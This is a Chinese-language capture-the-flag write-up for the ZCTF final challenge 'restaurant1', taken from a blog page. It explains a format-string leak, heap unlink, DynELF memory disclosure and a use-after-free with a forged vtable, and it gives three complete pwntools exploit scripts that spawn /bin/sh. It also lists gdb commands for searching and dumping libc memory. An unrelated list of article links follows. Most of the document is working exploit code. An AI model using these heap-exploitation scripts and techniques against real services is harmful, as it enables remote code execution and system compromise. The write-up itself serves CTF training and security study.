ZCTF-final-restaurant1
和线上赛的题目差别不大,但是需要自己去泄露堆的地址。除了线上赛的溢出之外,还多了一个Use After Free的洞。我写了两种利用方法。
线上赛writeup见:http://www.cnblogs.com/wangaohui/p/5211672.html
信息泄露可以通过格式化字符串的洞来完成。在entree的第二个和soup的第三个存在格式化字符串漏洞。
第一种利用方法和线上赛相似,只不过需要信息泄露。在比赛中,不知道什么鬼没有权限拷贝libc,所以用的是dynelf进行内存泄漏。成功概率1/9。这个exp在决赛的时候,写出来的有点晚,就打了十几次。
from pwn import *
import time
context.log_level = 'debug'
#by wangaohui
#s= remote('172.16.5.10',9002,timeout=60)
s= remote('127.0.0.1',10001,timeout=60)
time.sleep(1)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
#raw_input('go!')
s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Do you have any taboos?')
s.sendline('/bin/sh;')
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ')
s.sendline('cn')
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(0x404b50+2+10-5)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a staple food, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('%5$p')
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Order 2 :')
s.recvuntil('appearance comment: ')
leaked = s.recvuntil('\n')
heap = int(leaked[2:-1],16) - 0x158
print hex(heap)
print 'leaked heap is ' + leaked s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('xxx')
s.recvuntil('How does this dish taste: ')
s.sendline('yyy')
s.recvuntil('Successfully comment.') fakefd = heap - 0x18
fakebk = heap - 0x10
appcom = 'a'*40 + p64(0x80) + p64(0x90)
tastecom = p64(0x81) + p64(fakefd) + p64(fakebk)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom)
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')#unlink
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') def infoleak(addr):
ppcom = 'xxx'
tastecom = p64(addr)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
strs = s.recvuntil('\n')[:-1]
if strs.find('-') != -1:
data = (int(strs[1:])^0xffffffff)+1
else:
data = int(strs)
return p32(data) d = DynELF(infoleak, elf=ELF('./restaurant1'))
systemaddr = d.lookup('system', 'libc')
log.info("systemaddr=" + hex(systemaddr)) #systemaddr = 0xaaaaaaaaaaaaaaaa
appcom = 'xxx'
tastecom = 'a'*8 + p64(systemaddr)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(0x404b50)) s.recvuntil('9. Finish your order.')
s.sendline('') s.recvuntil('3.Just so so!')
s.sendline('3.Just so so!')
s.recvuntil('Thank you for your comment,bye!')
s.interactive()
s.close()
后来发现,可以用gdb调试,因此和拥有了libc差不多。
from pwn import *
import time
context.log_level = 'debug'
#by wangaohui #s= remote('172.16.5.10',9002,timeout=60)
s= remote('127.0.0.1',10001)
time.sleep(2)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
raw_input('go!')
s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Do you have any taboos?')
s.sendline('/bin/sh;')
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ')
s.sendline('cn')
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(0x404b50+2+10-5)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a staple food, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('%5$p')
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Order 2 :')
s.recvuntil('appearance comment: ')
leaked = s.recvuntil('\n')
heap = int(leaked[2:-1],16) - 0x158
print hex(heap)
print 'leaked heap is ' + leaked s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('xxx')
s.recvuntil('How does this dish taste: ')
s.sendline('yyy')
s.recvuntil('Successfully comment.') fakefd = heap - 0x18
fakebk = heap - 0x10
appcom = 'a'*40 + p64(0x80) + p64(0x90)
tastecom = p64(0x81) + p64(fakefd) + p64(fakebk)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom)
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')#unlink
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') appcom = 'xxx'
tastecom = p64(0x6070B8)#atoi's got
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
atoistr = s.recvuntil('\n')[:-1]
if atoistr.find('-') != -1:
atoiaddr1 = (int(atoistr[1:])^0xffffffff)+1
print 'atoiaddr1 is: %x' % atoiaddr1 appcom = 'xxx'
tastecom = p64(0x6070Bc)#atoi's got
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
atoistr = s.recvuntil('\n')[:-1]
atoiaddr2 = int(atoistr)
print 'atoiaddr2 is: %x' % atoiaddr2
atoiaddr = (atoiaddr2<<32) + atoiaddr1
print 'atoiaddr is: %x' % atoiaddr systemaddr = atoiaddr + 0xc6f0
appcom = 'xxx'
tastecom = 'a'*8 + p64(systemaddr)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('') s.recvuntil('3.Just so so!')
s.sendline('3.Just so so!')
s.recvuntil('Thank you for your comment,bye!')
s.interactive() s.close()
第二种利用方法,用的是Use After Free,当申请到entree的第一种时,就是买到了special,这个时候有两个指针指向了对应的内存堆块,但是取消订的菜的时候(就是free的时候),其中有一个指针并没有置为Null。所以,后面可以通过change account重新申请到free掉的那块内存,而且内容完全控制,完全可以伪造虚表指针,指向伪造的虚表,进而利用。
申请到已经free的内存块的代码:
在最后,通过伪造虚表和虚表指针执行到system的时候,发现参数传递不能控制为'/bin/sh;'。决定利用Libc的gadgets来进行利用。
因此,在没有libc的情况下,把Libc给dump出来,找的gadets。如下:
Mov rdi, rdx,将rdi指向了/bin/sh;而rax指向的是堆的内存,我们可以控制,因此可以将system的地址放到rax+0x20处,这样的话就执行了system("/bin/sh;")。成功概率为1/9。
from pwn import *
import time
#context.log_level = 'debug'
#by wangaohui
#s= remote('172.16.5.10',9002,timeout=60)
s= remote('127.0.0.1',10001,timeout=60)
time.sleep(1)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
raw_input('go!') s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Do you have any taboos?')
s.sendline('/bin/sh;')
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ')
s.sendline('/bin/sh;')
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(10000)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a soup, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('%7$p %41$p')
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Order 3 :')
s.recvuntil('appearance comment: ')
leaked = s.recvuntil('\n')
heapstr = leaked.split(' ')[0]
heap = int(heapstr[2:],16)
print 'leaked heap is ' + heapstr
libc_start_mainstr = leaked.split(' ')[1]
libc_start_main = int(libc_start_mainstr[2:-1],16) - 0xf5
print 'leaked libc_start_main is ' + hex(libc_start_main)
magic = libc_start_main + 0x1f92b
print 'magic is ' + hex(magic) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(p64(magic)*3) #virtual table
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') s.recvuntil('9. Finish your order.') #uaf
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline(p64(heap+0x60) + 'a'*0x48)
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(10000)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.interactive()
s.close()
后来,longlong师兄告诉我,libc里有magic system address,可以直接用来拿shell,就不用这么麻烦了,不过暂时没有写。
附两条用到的命令:
searchmem "\x48\x8b\x10\xe8" 0x7ffff7726000 0x7ffff78c8000
dump memory libc.so.dump 0x7ffff7726000 0x7ffff78c8000
ZCTF-final-restaurant1的更多相关文章
- java抽象、接口 和final
抽象 一.抽象类:不知道是具体什么东西的类. abstract class 类名 1.抽象类不能直接new出来. 2.抽象类可以没有抽象方法. public abstract class USB { ...
- Java内部类final语义实现
本文描述在java内部类中,经常会引用外部类的变量信息.但是这些变量信息是如何传递给内部类的,在表面上并没有相应的线索.本文从字节码层描述在内部类中是如何实现这些语义的. 本地临时变量 基本类型 fi ...
- Java关键字final、static
一.final根据程序上下文环境,Java关键字final有“这是无法改变的”或者“终态的”含义,它可以修饰非抽象类.非抽象类成员方法和变量.你可能出于两种理解而需要阻止改变:设计或效率. final ...
- JavaSE 之 final 初探
我们先看一道面试题: 请问 final 的含义是什么?可以用在哪里?其初始化的方式有哪些? 首先我们回答一下这道题,然后再探究其所以然. 1.final 表示“最终的”.“不可改变的”,意指其修饰类 ...
- PHP的final关键字、static关键字、const关键字
在PHP5中新增加了final关键字,它可以加载类或类中方法前.但不能使用final标识成员属性,虽然final有常量的意思,但在php中定义常量是使用define()函数来完成的. final关键字 ...
- final修饰符
final本身的含义是"最终的,不可变的",它可以修饰非抽象类,非抽象方法和变量.注意:构造方法不能使用final修饰,因为构造方法不能被继承,肯定是最终的. final修饰的类: ...
- 浅析Java中的final关键字(转载)
自http://www.cnblogs.com/dolphin0520/p/3736238.html转载 一.final关键字的基本用法 在Java中,final关键字可以用来修饰类.方法和变量(包括 ...
- java关键字extends(继承)、Supe(父类引用空间)、 This(方法调用者对象)、Instanceof(实例类型-判断对象是否属于某个类)、final(最终)、abstract(抽象) 、interface(接口)0
java 继承使用关键字extends 继承的作用:减少代码量,优化代码 继承的使用注意点: 1子类不能继承父类的私有变量 2.子类不能继承父类的构造方法 3.子类在调用自己的构造方法时 会默认调 ...
- files list file for package 'xxx' is missing final newline
#!/usr/bin/python # 8th November, 2009 # update manager failed, giving me the error: # 'files list f ...
- final关键字(final是最终的)
final关键字(final是最终的) 1.final修饰特点 a.修饰类,类不能被继承 b.修饰变量,变量就变成了常量, 修饰基本数据类:final int num = 10; 修饰引用数据类型变量 ...
随机推荐
- asp数组的使用
定义简单数组 有两种方法在asp中定义和初始化数组,让我们看看每种的例子: 方法一:MyArray = Array("Jan","Feb","Mar& ...
- 键盘code码速查表
键盘 Key Code对照表 字母和数字键的键码值(keyCode) 按键 键码 按键 键码 按键 键码 按键 键码 A 65 J 74 S 83 1 49 B 66 K 75 T 84 2 50 C ...
- 【SQL】大杂烩
--------------------------------- 索引 --------------------------------- 语法: CREATE [索引类型] INDEX 索引名称 ...
- 实战Lucene,初始Lucene
实战 Lucene,第 1 部分: 初识 Lucene 本文首先介绍了 Lucene 的一些基本概念,然后开发了一个应用程序演示了利用 Lucene 建立索引并在该索引上进行搜索的过程. 10 评论: ...
- 基于实际项目的SQL学习总结
青云 随笔 - 2, 文章 - 0, 评论 - 1, 引用 - 0 一个项目涉及到的50个Sql语句(整理版) /* 标题:一个项目涉及到的50个Sql语句(整理版) 说明:以下五十个语句都按照测 ...
- 手工启动oracle EM
在WINDOWS上安完ORACLE发现没有EM没有启动,在网上找了一个手工启动的方法,试了,在WIN下同样可用. 人家的原文如下: oracle@linux:~> sqlplus/ as sys ...
- OpenRisc-40-or1200的MMU模块分析
引言 MMU(memory management unit),无论对于computer architecture designer还是OS designer,都是至关重要的部分,设计和使用的好坏,对性 ...
- java压缩/解压缩zip格式文件
因为项目要用到压缩.解压缩zip格式压缩包,只好自己封装一个,对于网上流行的中文乱码的问题,本文的解决方法是用apache的包代替jdk里的.基本上还是比较好用的. 废话少说,直接上代码. } ...
- 理解Window和WindowManger
一.Window简介 作用:桌面上显示一个类似悬浮的东西. 介绍:Window是一个抽象类,实现是由PhoneWindow.WindowManager是外界访问Window的入口.但是最终实现是在Wi ...
- Train Problem I
问题陈述: 杭州电子科技大学HANGZHOU DIANZI UNIVERSITY Online Judge Problem - 1022 问题解析: 栈(stack)的简单应用 代码详解: #incl ...